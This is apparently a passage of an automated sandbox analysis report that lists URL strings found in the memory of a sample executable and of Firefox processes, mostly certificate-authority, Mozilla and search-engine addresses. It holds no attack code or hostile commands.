Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BCE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A231000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000018.00000002.2852168506.000002BA5C4F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2739033143.000002BA5C4F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2857928108.000002BA5D05A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2795803239.000002BA555B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000018.00000002.2797999061.000002BA55D3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A26C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A26C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889827871.000034BEA5600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.oZ
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B765000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2823349895.000002BA5A121000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A251000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2791036324.0000028E95004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2791036324.0000028E95081000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889827871.000034BEA5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehaviorhttp://mozilla.org/#/properties/dnsMaxAnyPriorit
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsresource://gre/modul
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsbrowser.newtabpage.a
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratiohttp://mozilla.org/#/properti
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreadsgetAPI/register/
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0http://mozilla.org/#/properties/featureValidati
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1shutting
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/.
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0
Source: firefox.exe, 00000018.00000003.2764877976.000002BA5AD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2832106353.000002BA5ABDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2668232033.000002BA5ABCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2766500542.000002BA5B07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2845824654.000002BA5BD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2842712823.000002BA5B9B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2842712823.000002BA5B931000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2885018488.000002BD0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2837480713.000002BA5ADF5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2837480713.000002BA5ADEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2739033143.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA637D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2845824654.000002BA5BD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2857928108.000002BA5D0C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2874426589.000002BA61B84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2857928108.000002BA5D00F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2832106353.000002BA5AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2767071304.000002BA5ADDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2739033143.000002BA5C4E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889827871.000034BEA5600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/U
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/c
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C0DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2818447104.000002BA59D47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2847205509.000002BA5BE43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2818447104.000002BA59D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2740204931.000002BA5A4BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2827730700.000002BA5A4BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2827730700.000002BA5A44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2843439668.000002BA5BB90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737097313.000002BA61CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2847205509.000002BA5BE7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2731037127.000002BA5C0DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/search
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-tabs-s
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://devtools/shared/security/Dev
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryTimesta
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000018.00000002.2852168506.000002BA5C4A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 00000018.00000003.2659017231.000002BA5991F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2878984131.000002BA61F57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/_acquireAutoScrollWakeLock
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000018.00000003.2737226174.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2854854049.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2728347300.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000018.00000002.2793027167.000002BA4B4BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.g
